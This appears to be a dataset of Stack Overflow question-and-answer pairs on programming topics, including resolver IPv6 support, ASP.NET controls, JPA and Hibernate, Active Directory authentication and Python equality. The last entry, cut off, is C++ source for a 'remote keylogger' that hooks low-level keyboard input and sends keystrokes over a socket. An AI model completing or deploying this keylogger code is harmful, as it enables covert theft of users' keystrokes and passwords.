input stringlengths 51 42.3k | output stringlengths 18 55k |
|---|---|
Using the name resolver of resolv.h with IPv6 <p>I write or modify programs which perform name resolution and need a
good control of the process. So I do not use <code>getaddrinfo()</code>, I go
deeper and use <code>res_query()</code> / <code>res_send()</code> / etc in <code>resolv.h</code>, documented
in resolver(3). </p>
<p>Although not documented, the common way to set the resolver used is to
update <code>_res.nsaddr_list</code>. But this array, defined in resolv.h, stores
<code>struct sockaddr_in</code>, that is IPv4 addresses only. (IPv6 addresses
are <code>struct sockaddr_in6</code>, a family-independant system would use <code>struct sockaddr</code>.)</p>
<p>I'm looking for a way (preferrably portable, at least among the
various Unix) to tell <code>_res</code> that I want also IPv6 addresses.</p>
<p>Apparently, a long time ago, there was in FreeBSD a <code>_res_ext</code> with this
ability but I cannot find it anymore in a recent FreeBSD 7 (<code>grep
_res_ext /usr/include/resolv.h</code> finds nothing). You can still find
<a href="http://www.squid-cache.org/~hno/changesets/squid3/patches/5775.patch" rel="nofollow">code which uses it (try yourself with Google Codesearch</a>).</p>
<p>Thanks to Alnitak, I noticed it is apparently now <code>_res._ext</code> and not <code>.res_ext</code>. I wonder where these sort of things are documented or announced... I have no idea how portable <code>_res._ext</code> is. I can find it on Debian and FreeBSD. It seems there are few programs which use it.</p>
| <p>Stéphane - if your <code>resolv.h</code> doesn't include any support for <code>sockaddr_in6</code> then that suggests that on your particular O/S the resolver does not itself support IPv6 transport.</p>
<p>I've checked some of my systems here:</p>
<ul>
<li><p>MacOS X 10.5.6 - supports the BIND 9 library, which has a <code>res_setservers()</code> function which <em>can</em> take IPv6 addresses, no <code>_res._ext</code> extension.</p></li>
<li><p>CentOS 5.2 - has the <code>_res._ext</code> extension, although there's no mention of IPv6 in the man page for <code>resolv.conf</code> except that there's a setting to tell the resolver to return AAAA records before looking for A records for <code>gethostbyname()</code>.</p></li>
</ul>
<p>EDIT - also, the <a href="http://www.freebsd.org/cgi/cvsweb.cgi/src/include/resolv.h" rel="nofollow">CVS repository</a> for FreeBSD suggests that FreeBSD 7.0 (see tag <code>FREEBSD_7_0_0_RELEASE</code>) does also support <code>res_setservers()</code> from Bind 9.</p>
|
Mac Browsers - Is IE5.x for the Mac officially dead? <p>I don't use a mac much so my exposure is minimal but can I safely presume that IE on the Mac is dead?</p>
<p>I know that Microsoft isn't developing it any further and that Firefox, Safari (Opera and Camino) all run on Mac (and from my stats they are most used, in that order)...</p>
<p>So the question is: Is it dead? and if so, when did it die?</p>
<p>I still see CSS templates with Mac IE hacks in place... but I'm thinking it is time to strip the dead weight. Am I right?</p>
<p>PS For anyone hosting a large commercial site, I'd be interested in the % of customers using Mac IE. <em>(Customers being users that actually buy something, not just web developers ping'ing amazon.com to see what it looks like)</em></p>
| <p>It's dead. I just pulled up this months report and found 9 hits out of 3.5 million (about 0.0000257%).</p>
<p>If you need a time-of-death, I would say it was in 2006 when Microsoft <a href="http://en.wikipedia.org/wiki/Internet_Explorer_for_Mac" rel="nofollow">released a statement</a> urging users to "migrate to more recent web browsing technologies such as Apple's Safari."</p>
|
How does the AddExtension property work in C# 2.0? <p>I want to open a save file dialog, have the user enter a filename, and if they forget the .csv extension, have it tacked on.</p>
<p>It would seem that the SaveFileDialog AddExtension property would work, but its doesn't. I've even set the DefaultExt property to .csv, and still nothing gets tacked on. My file gets saved just fine, but sans extension, so the user can't just double click on the file and have it open in Excel.</p>
<p>I have to be missing something obvious. Here's what I've got</p>
<pre><code> SaveFileDialog sfd = new SaveFileDialog();
sfd.DefaultExt = "*.csv";
sfd.Filter = "Comma Separated(*.csv)|*.*";
if (sfd.ShowDialog() == DialogResult.OK)
{
// Do my file saving
}
</code></pre>
| <p>Try just using <code>"csv"</code> for the <code>DefaultExt</code> - also, you should be <code>using</code> this (it is <code>IDisposable</code>):</p>
<pre><code> using (SaveFileDialog sfd = new SaveFileDialog())
{
sfd.AddExtension = true;
sfd.DefaultExt = "csv";
sfd.Filter = "Comma Separated(*.csv)|*.*";
if (sfd.ShowDialog() == DialogResult.OK)
{
// Do my file saving
}
}
</code></pre>
|
Visual Studio 2008 on Vista problems <p>Does anyone have any problems with VS2008 on Vista?
For me every so often when I select items in the solution explorer the screen goes blank. No other application causes this to happen.</p>
| <p>One of our guys had this problem. For some odd reason, check to see if your video drivers are up to date.</p>
|
Is there a built-in IsLowerCase() in .NET? <p>Is there a built-in <code>IsLowerCase()</code> in .NET? </p>
| <pre><code>public static bool IsLowerCase( this string text ) {
if ( string.IsNullOrEmpty( text ) ) { return true; }
foreach ( char c in text )
if ( char.IsLetter( c ) && !char.IsLower( c ) )
return false;
return true;
}
"someString".IsLowerCase();
</code></pre>
|
Expanding a node in ASP.Net TreeView through XML Attribute <p>I have a ASP.Net TreeView control that I am binding to an XML data source. I'm wanting to be able to control which nodes are expanded and which ones are collapsed in the XML definition file. The Expanded='' doesn't work for me though. In the following simple example, I want Node 2 to be fully expanded.</p>
<p>ASP Page...</p>
<pre><code><asp:XmlDataSource ID="oXmlDataSource" runat="server" />
<asp:TreeView ID="TreeView1" runat="server" EnableViewState="false" DataSourceID="oXmlDataSource"></TreeView>
</code></pre>
<p>Code Behind...</p>
<pre><code>oXmlDataSource.Data = MyXMLString;
oXmlDataSource.XPath = "/Tree/Node";
</code></pre>
<p>Here is the XML...</p>
<pre><code><?xml version='1.0' encoding='utf-8' ?>
<Tree Text='example.aspx' Href='example.aspx'>
<Node Text='Example Node 1' Href='0800200c9a66.aspx' Expanded='false'></Node>
<Node Text='Example Node 2' Href='0800200c9a66.aspx' Expanded='true'>
<Node Text='Example Node 3' Href='0800200c9a66.aspx' Expanded='false'></Node>
<Node Text='Example Node 4' Href='0800200c9a66.aspx' Expanded='false'></Node>
<Node Text='Example Node 5' Href='0800200c9a66.aspx' Expanded='false'></Node>
<Node Text='Example Node 6' Href='0800200c9a66.aspx' Expanded='false'></Node>
</Node>
</Tree>
</code></pre>
| <p>Unfortunately you can't do this in the XML. It is a short coming of the control. You will need to populate the TreeView with the XML and then traverse all of the nodes recursively and expand the branch that you need. Try the following:</p>
<p>Add the OnPreRender attrobite to the TreeView control...</p>
<pre><code><asp:XmlDataSource ID="oXmlDataSource" runat="server" />
<asp:TreeView ID="TreeView1" runat="server" EnableViewState="false" DataSourceID="oXmlDataSource" OnPreRender="TreeView1_PreRender"></TreeView>
</code></pre>
<p>Then add the following to the code behind (I recommend adding some testing and adding try/catches)...</p>
<pre><code>protected void TreeView1_PreRender(object sender, EventArgs e)
{
SelectCurrentPageTreeNode(TreeView1);
}
private void SelectCurrentPageTreeNode(TreeView tvTreeView)
{
tvTreeView.CollapseAll();
if (Request.Url.PathAndQuery != null)
{
ExpandTreeViewNodes(tvTreeView, Request.Url.PathAndQuery);
}
}
private TreeNode ExpandTreeViewNodes(TreeView tvTreeView, string sPathAndQuery)
{
if (tvTreeView != null)
{
if (!string.IsNullOrEmpty(sPathAndQuery))
{
sPathAndQuery = sPathAndQuery.ToLower();
{
TreeNode tnWorkTreeNode = null;
for (int iLoop = 0; iLoop < tvTreeView.Nodes.Count; iLoop++)
{
tvTreeView.Nodes[iLoop].Expand();
tvTreeView.Nodes[iLoop].Selected = true;
if (tvTreeView.Nodes[iLoop].NavigateUrl.ToLower() == sPathAndQuery)
{
return (tvTreeView.Nodes[iLoop]);
}
else
{
tnWorkTreeNode = ExpandTreeViewNodesR(tvTreeView.Nodes[iLoop], sPathAndQuery);
}
if (tnWorkTreeNode != null)
{
return (tnWorkTreeNode);
}
tvTreeView.Nodes[iLoop].Collapse();
}
}
}
}
return (null);
}
private static TreeNode ExpandTreeViewNodesR(TreeNode tvTreeNode, string sPathAndQuery)
{
TreeNode tnReturnTreeNode = null;
if (tvTreeNode != null)
{
tvTreeNode.Expand();
if (tvTreeNode.NavigateUrl.ToLower() == sPathAndQuery)
{
return (tvTreeNode);
}
else
{
tnReturnTreeNode = null;
for (int iLoop = 0; iLoop < tvTreeNode.ChildNodes.Count; iLoop++)
{
tvTreeNode.ChildNodes[iLoop].Selected = true;
tnReturnTreeNode = ExpandTreeViewNodesR(tvTreeNode.ChildNodes[iLoop], sPathAndQuery);
if (tnReturnTreeNode != null)
{
return (tnReturnTreeNode);
}
}
tvTreeNode.Collapse();
}
}
return (null);
}
</code></pre>
|
assert and NDEBUG <p>After reading some threads on misuses of exceptions (basically saying you don't want to unwind the stack if a functions preconditions are incorrect - possibly signalling that all your memory is corrupt or something equally dangerous) I'm thinking about using assert() more often. Previously I have only used assert() as a debug tool and I think this is how a lot of C++ programmers use it. I'm concerned about part of my error handling being turned off by a NDEBUG #define introduced to the runtime builds at some point in the future. Is there a way round this and have others had a problem with this (i.e. should I be worrying about it)?</p>
<p>Thanks,
Pat</p>
<p>Edit:
The point of the threads I was reading was that if your application is truely buggered then unwinding stack could damage the system, for instance if a destructor wrote something to a file and the file handle was corrupted. I'm not suggesting using assert for normal error handling. The current use case I have is pretty weak but see what you think:</p>
<pre>
<code>
//check later code won't crash the system
if( buf.length() % 2 )
return false;
// do other stuff that shouldn't affect bufs length
//copy 2 bytes into buf at a time, if length is odd then don't know
//what will happen so use assert to make sure it can't damage anything
assert( !(buf.length() % 2) );
for( i = 0; i != buf.length(); i += 2 )
memcpy( buf + i, data, 2 );
</code>
</pre>
<p>edit2: the discussion is here:
<a href="http://groups.google.com/group/comp.lang.c++.moderated/browse_frm/thread/80083ac31a1188da" rel="nofollow">http://groups.google.com/group/comp.lang.c++.moderated/browse_frm/thread/80083ac31a1188da</a></p>
| <p>You could build your own assert instead of using the stock C assert.h. Your assert won't be disabled.</p>
<p>Look at how assert() is implemented in /usr/include/assert.h (or wherever). It's simply some preprocessor magic eventually calling an "assert fail" function.</p>
<p>In our embedded environments, we replace assert() all the time. </p>
|
Can't debug - "The breakpoint will not currently be hit. No symbols have been loaded for this document" <p>I'm getting the error in the subject line. I'm running vs2k8 on server 2k3sp2. I've tried deleting the pdbs, cache directories, verifying that debugging is set up on the specific page. The interesting thing is other pages debug just fine. Just when I go to this one page. Must be a configuration issue but the page directive looks like this:</p>
<p>print("<%@ Page Language='C#' AutoEventWireup='true' CodeBehind='MemberSearch.aspx.cs' Inherits='SurencyPortal.EmployerPortal.MemberSearch' Debug='true' %>");</p>
<p>I've also noticed that when debugging, if I open the modules window, almost all of the symbols show a status of 'Symbol not loaded'. However, after more research from the msdn article below, one of the MSFT posts said that if it's a core .net dll, it will not load symbols so I'm not worried about that. Some of the microsoft modules (like System.Enterpricesservices.wrapper.dll) show an exclamation point with the message 'the module did not load at the default load address'. Not sure why that dll is there as I don't know of any calls to it.</p>
<p>Here are the thing's i've tried:</p>
<p><a href="http://stackoverflow.com/questions/163133/breakpoint-not-hooked-up-when-debugging-in-vsnet-2005">http://stackoverflow.com/questions/163133/breakpoint-not-hooked-up-when-debugging-in-vsnet-2005</a></p>
<p><a href="http://social.msdn.microsoft.com/Forums/en-US/vbide/thread/557fdedb-268e-48a8-9944-29b2b4e0dec2/#page:3">http://social.msdn.microsoft.com/Forums/en-US/vbide/thread/557fdedb-268e-48a8-9944-29b2b4e0dec2/#page:3</a></p>
<p>Bill</p>
| <p>The only time I've ever run into an issue like this is if I was trying to debug while the project was in release mode.</p>
|
Raising javascript events in ASP.NET user control <p>Is it possible to raise a "custom event" in an ASP.NET user control and to subscribe to the event in the calling page? This way I can have any containing page react to changes in a user control without having to do a partial or full postback.</p>
| <p>You're trying to mix server-side code with client-side code. You're probably better off using the built-in javascript events: </p>
<blockquote>
<pre><code>control.Attributes.Add("onclick", "mgr.Click();"); //server-side
//Javascript:
var mgr = new Object();
mgr.Click = new function(e) { //...
</code></pre>
</blockquote>
<p>That said, with sufficient effort and a lot of hackery, you could probably get it to render out enough javascript and use AJAX calls to possibly acheive the effect; but it probably wouldn't be worth it; and isn't built-in.</p>
<p>Or - if your aim is to raise custom events server-side (rather than client-side) and handle them in javascript, render out calls to the functions:</p>
<blockquote>
<pre><code>this.Controls.Add(new LiteralControl("<script type=\"text/javascript\">mgr.Filter('people');</script>"));
</code></pre>
</blockquote>
|
JPA - Hibernate <p>Can someone put in perspective the difference between JPA and Hibernate.
Or are these complementary concepts, to be used together?</p>
| <p>Roughly, JPA is a standard from the java community, <a href="http://jcp.org/aboutJava/communityprocess/final/jsr220/index.html">here the specs</a>, which has been implemented (and extended) by the Hibernate guys (<a href="http://www.hibernate.org/397.html">some info here</a>).
Being a spec, you will not be using JPA directly, but a JPA implementation.</p>
<p>Beware that if you'll use the hibernate JPAs' extensions, you'll break the compatibility with other JPA implementations (though some will say "why you should use another JPA implementation?").</p>
|
Accessing Excel 2007 Binary (.xlsb) via OleDb ACE <p>I found the Excel 2007 Binary format (with extension .xlsb) perfectly
suitable for my needs, since it's fast to load and very compact. I deliver a
bunch of reports in Excel that carry a lot of data, and those reports are
actually being loaded with an IS package.</p>
<p>So I assumed the conversion to this very format, read documentation on
Access Ole DB Provider 12, where is written that xlsb is supported by this
provider. I converted the files in Excel, and then when trying to change them
in the packages (just by changing the path of the file by adding the "b"
suffix), I got the following error message:</p>
<pre><code>"Test connection failed because of an error in initializing provider. This
file was created in a previous beta version of Excel 2007. Open the file
with Excel 2007 to save it to the most recent version of the Excel 2007 file
format before opening the file in Access 2007."
</code></pre>
<p>Well, I thought that it could be some problem with the conversion of the
file, so I picked up a brand new one and filled it with some information. Tried
again, same error!!</p>
<p>Then I tried the approach with ".udl" files, same error!
Then I tried to test on different machines:
- My own (Windows Vista SP1)
- My colleagues (Windows XP SP2)
- The IS Server (Windows Server 2003 x64 SP2)</p>
<p>And the error persists. I found it so easy to reproduce the error, that I'm a
bit surprised that I didn't find anything about it by googling around!</p>
<p>Can somebody help me?</p>
<p>Thanks in advance,
Rafael</p>
| <p>I know this is old post. I came across this issue few days ago and after lots of struggling, I'm able to resolve it. Hope it can help someone.</p>
<p>In my case, I have the same exact error: </p>
<blockquote>
<p>This
file was created in a previous beta version of Excel 2007. Open the file
with Excel 2007 to save it to the most recent version of the Excel 2007 file
format before opening the file in Access 2007."</p>
</blockquote>
<p>This happen when I'm trying to open my OldDB Connection. I suspected it was due to my connection string syntax or value issue but nothing work after massive amount of changes. </p>
<p>I had the following installed in my machine:</p>
<p>1) Microsoft Access database engine 2010 Version 14.0.7015 (Get it from <a href="http://www.microsoft.com/en-us/download/details.aspx?id=13255" rel="nofollow">here</a>)</p>
<p>2) Microsoft Office Access database engine 2007 Version 12.0.4581 (Get it from <a href="http://www.microsoft.com/en-us/download/details.aspx?id=23734" rel="nofollow">here</a>)</p>
<p>And here is my connection string that causes the error to happen:</p>
<pre><code>"Provider=Microsoft.ACE.OLEDB.12.0;Data Source=C:\Project\Excel1.xlsb;Extended Properties='Excel 12.0;HDR={1}'"
</code></pre>
<p><strong>And then I found this that resolve my struggles:</strong></p>
<p><a href="http://www.microsoft.com/en-au/download/details.aspx?id=7020" rel="nofollow">Microsoft Office Access Runtime and Data Connectivity 2007 Service Pack 2 (SP2)</a>.</p>
<p>I just need to download, run it and reboot my machine. And then voila, I'm able to open my OleDB connection without that error. </p>
<p>Hope this will help. </p>
|
Adding xml comments to methods, properties, etc quickly in vs 2008 <p>Assume I have 10 Methods and 10 Properties. Is there a way to add the xml comments (///) to all 10 Methods and 10 Properties at once in VS 2008 or do I have to type /// for each one.</p>
| <p>This little tool is very useful <a href="http://www.roland-weigelt.de/ghostdoc/" rel="nofollow">Ghost Doc</a>.</p>
|
How do you show a list of tables in another database? <p>I can use:</p>
<pre><code>select * from sys.tables
</code></pre>
<p>in mssql to show a list of all tables in the current database. Is there anyways I can use similar syntax to show list of tables in another database?</p>
<p>Say I am using A with:</p>
<pre><code>use A
</code></pre>
<p>statement, can I show tables in database B?</p>
| <p>This does it for me (MS SQL 2005 and newer):</p>
<pre><code>select * from your_database_name.sys.tables
</code></pre>
<p>Keep in mind that you (or whatever authentication context you're using) will still need read permission on that database.</p>
<p>To use your example:</p>
<pre><code>use a;
go
select * from sys.tables; -- selects table info from a
select * from b.sys.tables; -- selects table info from b
</code></pre>
|
Can my build stipulate that my code coverage never get worse? <p>I am using hudson CI to manage a straight java web project, using ant to build.</p>
<p>I would like to mandate that the unit test coverage never be worse than the previous build, thereby making sure any new code is always tested, or at least the coverage is continually improving.</p>
<p>Is there a hudson plugin that works this way?</p>
<p>Edit: I am currently using Emma, but would be willing to switch to another coverage app.</p>
<p>Also, as a clarification, I've seen the thresholds in some Hudson plugins, but that's not exactly what I'm after. For example what I'd like is that if coverage for Build #12 was 46% overall, and someone checked in Build #13 with 45% coverage, the build would break.</p>
<p>The reason I want to do this, is that I have a codebase with low test coverage. We don't have time to go back and retroactively write unit tests, but I'd like to make sure that the coverage keeps getting better.</p>
<p>UPDATE: Dan pointed out an edge case with my plan that will definitely be a problem. I think I need to rethink whether this is even a good idea.</p>
| <p>Yes. Which coverage tool are you using?</p>
<p>The Cobertura plugin for Hudson definitely supports this. On the project configuration screen you can specify thresholds.</p>
<p>Alternatively, you can make Ant fail the build (rather than Hudson), by using the cobertura-check task.</p>
<p><strong>EDIT:</strong> I'm not sure you can do precisely what you are asking for. Even if you could, it could prove problematic. For example, assume you have an average coverage of 75% but for one class you have coverage of 80%. If you remove that 80% class and all of its tests, you reduce the overall coverage percentage even though none of the other code is any less tested than previously.</p>
|
How to retrieve sender in click handler from toolbartray or other control in wpf? <p>XAML:</p>
<pre><code><ToolBarTray Name="tlbTray" ButtonBase.Click="tlbTray_Click">
<ToolBar Name="tlbFile">
<Button Name="btnOpen"><Image Source="images\folder.png" Stretch="None" /></Button>
<Button Name="btnSave"><Image Source="images\disk.png" Stretch="None" /></Button>
</ToolBar>
</ToolBarTray>
</code></pre>
<p>Code:</p>
<pre><code>private void tlbTray_Click(object sender, RoutedEventArgs e)
{
// How to get the name of the button or control that triggered the event
}
</code></pre>
<p>As commented in the method. How do I get the name of the button or control that triggered the event. Or I'm handling this the wrong way? I just want to route all click events to that one method and decide what to do from there...</p>
<p>Thanks! ;-)</p>
| <p>Owkay, I found it!</p>
<pre><code>private void tlbTray_Click(object sender, RoutedEventArgs e)
{
Button button = (Button)e.OriginalSource;
}
</code></pre>
|
How can I split "lastname, firstname" into separate strings? <p>Whats the best way to separate the string, "Parisi, Kenneth" into "Kenneth" and "Parisi"?
<br>I am still learning how to parse strings with these regular expressions, but not too familiar with how to set vars equal to the matched string & output of the matched (or mismatched) string.</p>
| <pre><code>my ($lname, $fname) = split(/,\s*/, $fullname, 2);
</code></pre>
<p>Note the third argument, which limits the results to two. Not strictly required but a good practice nonetheless imho.</p>
|
MVC pattern in .NET: Can View call Exceptions in Model? <p>I'm using the MVC pattern in a .NET winform app. There are places in the Controller that can cause an exception. Rather than catching the exception and dislpaying a messagebox, which is a View responsibility, I do nothing in the Controller and let the View wrap that area in a try/catch. So far, there isn't anything that needs to be done in these exceptions except display a nice message to the user. That won't always be the case. The View than displays the exception error in a messagebox. I don't like this because the Exception classes come from the model. So, the View is reaching directly into the Model to gain access to the exceptions. But, how else can it be done and still follow the MVC pattern?</p>
<p>I could have the Controller handle the exception and throw a string back to the UI. How is that done though? If functionA returns void, I don't want to modify its return type just to appaise the View.</p>
| <p>I feel that its the Controllers responsiblity to tell the view to show a message and what message to show.</p>
<p>Therefor, I would put a DisplayError(string) method on the view and call that when you catch the exception in the Controller. That way the controller does the exception handling that the view still manages the details of displaying a message box with the message I tell it to use.</p>
|
Authenticating against Active Directory with Java on Linux <p>I have a simple task of authenticating against Active Directory using Java. Just verifying credentials and nothing else. Let's say my domain is "fun.xyz.tld", OU path is unknown, and username/password is testu/testp. </p>
<p>I know there's a few Java libraries out there that simplify this task, but I wasn't successful at implementing them. Most examples that I've found addressed LDAP in general, not specifically Active Directory. Issuing LDAP request means sending an OU path in it, which I don't have. Also, the application that issues LDAP request should be already bound to Active Directory in order to access it... Insecure, since the credentials would have to be stored someplace discoverable. I would like a test bind with test credentials, if possible - this would mean that account is valid.</p>
<p>Last, if possible, is there a way to make such authentication mechanism encrypted? I know that AD uses Kerberos, but not sure if Java's LDAP methods do.</p>
<p>Does anyone has an example of working code? Thanks.</p>
| <p>There are 3 authentication protocols that can be used to perform authentication between Java and Active Directory on Linux or any other platform (and these are not just specific to HTTP services):</p>
<ol>
<li><p>Kerberos - Kerberos provides Single Sign-On (SSO) and delegation but web servers also need SPNEGO support to accept SSO through IE.</p></li>
<li><p>NTLM - NTLM supports SSO through IE (and other browsers if they are properly configured).</p></li>
<li><p>LDAP - An LDAP bind can be used to simply validate an account name and password.</p></li>
</ol>
<p>There's also something called "ADFS" which provides SSO for websites using SAML that calls into the Windows SSP so in practice it's basically a roundabout way of using one of the other above protocols.</p>
<p>Each protocol has it's advantages but as a rule of thumb, for maximum compatibility you should generally try to "do as Windows does". So what does Windows do?</p>
<p>First, authentication between two Windows machines favors Kerberos because servers do not need to communicate with the DC and clients can cache Kerberos tickets which reduces load on the DCs (and because Kerberos supports delegation).</p>
<p>But if the authenticating parties do not both have domain accounts or if the client cannot communicate with the DC, NTLM is required. So Kerberos and NTLM are not mutually exclusive and NTLM is not obsoleted by Kerberos. In fact in some ways NTLM is better than Kerberos. Note that when mentioning Kerberos and NTLM in the same breath I have to also mention SPENGO and Integrated Windows Authentication (IWA). IWA is a simple term that basically means Kerberos or NTLM or SPNEGO to negotiate Kerberos or NTLM.</p>
<p>Using an LDAP bind as a way to validate credentials is not efficient and requires SSL. But until recently implementing Kerberos and NTLM have been difficult so using LDAP as a make-shift authentication service has persisted. But at this point it should generally be avoided. LDAP is a directory of information and not an authentication service. Use it for it's intended purpose.</p>
<p>So how do you implement Kerberos or NTLM in Java and in the context of web applications in particular?</p>
<p>There are a number of big companies like Quest Software and Centrify that have solutions that specifically mention Java. I can't really comment on these as they are company-wide "identity management solutions" so, from looking the marketing spin on their website, it's hard to tell exactly what protocols are being used and how. You would need to contact them for the details.</p>
<p>Implementing Kerberos in Java is not terribly hard as the standard Java libraries support Kerberos through the org.ietf.gssapi classes. However, until recently there's been a major hurdle - IE doesn't send raw Kerberos tokens, it sends SPNEGO tokens. But with Java 6, SPNEGO has been implemented. In theory you should be able to write some GSSAPI code that can authenticate IE clients. But I haven't tried it. The Sun implementation of Kerberos has been a comedy of errors over the years so based on Sun's track record in this area I wouldn't make any promises about their SPENGO implementation until you have that bird in hand.</p>
<p>For NTLM, there is a Free OSS project called JCIFS that has an NTLM HTTP authentication Servlet Filter. However it uses a man-in-the-middle method to validate the credentials with an SMB server that does not work with NTLMv2 (which is slowly becoming a required domain security policy). For that reason and others, the HTTP Filter part of JCIFS is scheduled to be removed. Note that there are number of spin-offs that use JCIFS to implement the same technique. So if you see other projects that claim to support NTLM SSO, check the fine print.</p>
<p>The only correct way to validate NTLM credentials with Active Directory is using the NetrLogonSamLogon DCERPC call over NETLOGON with Secure Channel. Does such a thing exist in Java? Yes. Here it is:</p>
<p><a href="http://www.ioplex.com/jespa.html">http://www.ioplex.com/jespa.html</a></p>
<p>Jespa is a 100% Java NTLM implementation that supports NTLMv2, NTLMv1, full integrity and confidentiality options and the aforementioned NETLOGON credential validation. And it includes an HTTP SSO Filter, a JAAS LoginModule, HTTP client, SASL client and server (with JNDI binding), generic "security provider" for creating custom NTLM services and more.</p>
<p>Mike</p>
|
VS2008 IDE giving 5 second latency when switching tabs between aspx and aspx.cs , how come? <p>I have VS2008 (SP1) installed on a XP sp2 laptop.</p>
<p>One thing weired on IDE, I don't know how to fix it.</p>
<p>I'm programming a web application, have many tabs openning at the same time. When I switch from aspx to aspx.cs back and forth, I always get about 5 seconds delay before I can type the keyboard.</p>
<p>I thought this might relate to some background layout rendering process, but I never open "Design" screen fro aspx page, I always open "Source" screen. This 5 seconds delay annoying a lot. </p>
<p>Any configurations? suggestions?</p>
<p>Thanks a lot</p>
| <p>Visual Studio really likes a good video card with a decent amount of video memory. It uses this for compositing the webpage.</p>
<p>Also, it's just a resource hog in general.</p>
|
Elegant ways to support equivalence ("equality") in Python classes <p>When writing custom classes it is often important to allow equivalence by means of the <code>==</code> and <code>!=</code> operators. In Python, this is made possible by implementing the <code>__eq__</code> and <code>__ne__</code> special methods, respectively. The easiest way I've found to do this is the following method:</p>
<pre><code>class Foo:
def __init__(self, item):
self.item = item
def __eq__(self, other):
if isinstance(other, self.__class__):
return self.__dict__ == other.__dict__
else:
return False
def __ne__(self, other):
return not self.__eq__(other)
</code></pre>
<p>Do you know of more elegant means of doing this? Do you know of any particular disadvantages to using the above method of comparing <code>__dict__</code>s?</p>
<p><strong>Note</strong>: A bit of clarification--when <code>__eq__</code> and <code>__ne__</code> are undefined, you'll find this behavior:</p>
<pre><code>>>> a = Foo(1)
>>> b = Foo(1)
>>> a is b
False
>>> a == b
False
</code></pre>
<p>That is, <code>a == b</code> evaluates to <code>False</code> because it really runs <code>a is b</code>, a test of identity (i.e., "Is <code>a</code> the same object as <code>b</code>?").</p>
<p>When <code>__eq__</code> and <code>__ne__</code> are defined, you'll find this behavior (which is the one we're after):</p>
<pre><code>>>> a = Foo(1)
>>> b = Foo(1)
>>> a is b
False
>>> a == b
True
</code></pre>
| <p>You need to be careful with inheritance:</p>
<pre><code>>>> class Foo:
def __eq__(self, other):
if isinstance(other, self.__class__):
return self.__dict__ == other.__dict__
else:
return False
>>> class Bar(Foo):pass
>>> b = Bar()
>>> f = Foo()
>>> f == b
True
>>> b == f
False
</code></pre>
<p>Check types more strictly, like this:</p>
<pre><code>def __eq__(self, other):
if type(other) is type(self):
return self.__dict__ == other.__dict__
return False
</code></pre>
<p>Besides that, your approach will work fine, that's what special methods are there for.</p>
|
onbeforeunload in Opera <p>I'm using the code that netadictos posted to the question <a href="http://stackoverflow.com/questions/333665/">here</a>. All I want to do is to display a warning when a user is navigating away from or closing a window/tab.</p>
<p>The code that netadictos posted seems to work fine in IE7, FF 3.0.5, Safari 3.2.1, and Chrome but it doesn't work in Opera v9.63. Does anyone know of way of doing the same thing in Opera?</p>
<p>Thx, Trev</p>
| <p>Opera does not support window.onbeforeunload at the moment. It will be supported in some future version, but has not been a sufficiently high priority to get implemented as of Opera 11.</p>
|
How to make a fully customizable hosted ASP.NET MVC application <p>This is related to my previous question regarding serving static html files but that doesn't seem to be a good solution, </p>
<p>I want to make a fully customizable ASP.NET MVC application as a hosted service. See allowing the user to customize the look/feel of their own page but it is still dynamic, meaning the data is hosted in the central database. </p>
<p>I looked at the "theme" or "skin" in ASP.NET but I don't think it is customizable enough. It seems only the developer can add new themes. I want to have something like the theme editor in WordPress so you can just change the look in anyway you want from a web-based interface.</p>
<p>I wonder how the theme files will be stored for the popular blogging platform? Are they stored in database or a file in filesystem? I prefer to store it in database, because if it is in filesystem it will have scalability problem. Each user will be tired to a particular web server and I have to determine how much disk space for each webserver.</p>
<p>I thought of doing something like the old MovableType, to generate static HTML when you add new post. This solution is problematic as well, because the flexibility depends on the complexity of the template engine.</p>
<p>Ideas? Suggestions?</p>
<p>Thanks!</p>
| <p>"Fully customizable" is the most elusive of the white whales ;-)</p>
<p>I see your question is old, but none the less;
first I'd recommend defining some <strong>very</strong> clear,<br>
and cohesive rules governing just what the "bottom-line" is, our
an inheritable template of sorts.<br>
You get a pretty good impression of what might be useful during developing, I'd guess.</p>
<p>Next; just what and how is the customizing supposed to be presented and achieved? </p>
<p>The inherit ASP.NET custom custard, Web Parts, need quite some cajoling to behave in MVC views :<br>
<a href="http://stackoverflow.com/questions/1106629/using-webparts-in-an-mvc-application/">http://stackoverflow.com/questions/1106629/using-webparts-in-an-mvc-application</a></p>
<p>If you're leaning more towards customizable appearance (theme's n' skin's),<br>
how about having a CSS file for each user, saves like a charm as VARCHAR(MAX), and can easily be inserted
in e.g. your Master Page's head. </p>
|
winsock missing data c++ win32 <p>I am writing an application that needs to send data over a network. I have the application completed but there is a problem with sending the data. Every time I send a piece of data, it is cut off after 4 characters and the rest is garbage. The application is a remote keylogger I am writing for a school project, which requires you to demonstrate the usage of hooks and winsock. We are allowed to ask for help on forums. Any help would be appreciated! </p>
<p>Here' the code:</p>
<p><strong>Server:</strong></p>
<pre><code> // rkl.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#include "rkl.h"
#include <windows.h>
#include <stdio.h>
SOCKET kSock;
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam);
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
WSAData wsdata;
WORD wsver=MAKEWORD(2, 0);
int nret=WSAStartup(wsver, &wsdata);
if(nret != 0)
{
MessageBoxA(0,"Error 0","Error",MB_OK);
WSACleanup();
return -1;
}
kSock=socket(AF_INET, SOCK_STREAM, 0);
if(kSock == INVALID_SOCKET)
{
MessageBoxA(0,"Error 1","Error",MB_OK);
return -1;
}
sockaddr_in sin;
sin.sin_port=htons(808);
sin.sin_addr.s_addr=inet_addr("127.0.0.1");
sin.sin_family=AF_INET;
if(connect(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
{
MessageBoxA(0,"Error 2","Error",MB_OK);
WSACleanup();
return -1;
}
HHOOK keyboardHook = SetWindowsHookEx(
WH_KEYBOARD_LL,
keyboardHookProc,
hInstance,
0);
char buf1[256];
char* buf = buf1;
buf = "Test";
send(kSock,buf,sizeof(buf),0);
MessageBoxA(0,"Press ok to stop logging.","Waiting...",MB_OK);
closesocket(kSock);
return 0;
}
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
if (wParam == WM_KEYDOWN) {
char* buf;
char tl[256];
buf = tl;
buf = itoa(p->vkCode,buf,10);
int tmp;
tmp = atoi(buf);
if(tmp != 0)
{
